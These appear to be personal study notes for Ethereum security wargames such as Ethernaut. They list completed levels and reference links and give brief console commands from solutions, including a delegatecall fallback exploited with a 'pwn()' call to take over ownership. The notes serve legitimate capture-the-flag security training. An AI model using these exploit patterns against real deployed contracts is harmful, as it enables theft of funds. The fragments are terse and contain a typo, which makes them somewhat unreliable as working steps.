https://ethernaut.openzeppelin.com/ https://www.damnvulnerabledefi.xyz/ https://speedrunethereum.com/
- Hello Ethernaut ✔
- Fallback ✔
- Fallout ✔
- CoinFlip ✔
- Telephone ✔
- Token ✔
- Delegation ✔
- Force ✔
- Vault ✔
- King ✔
- Re-entrancy ✔
- Elevator ✔
- Privacy ✔
https://www.pauric.blog/How-To-Hack-Ethereum-Contracts-The-Easy-Way/
https://trufflesuite.com/docs/truffle/getting-started/interacting-with-your-contracts
https://medium.com/aigang-network/how-to-read-ethereum-contract-storage-44252c8af925
player is you get the balance using
getBalance(player)
interact with the contract
(await contract.contributions(player)).toString();
await contract.contribute.sendTransaction({value: toWei(.0009)})
contract is a truffle object. can do fallback methods using
contract.sendTransction({value: 50000000});
fallback() external {
(bool result,) = address(delegate).delegatecall(msg.data);
if (result) {
this;
}
}
# Called with
await contract.sendTransaction({data: web3.eth.abi.encodeFunctionSignature("pwn()")})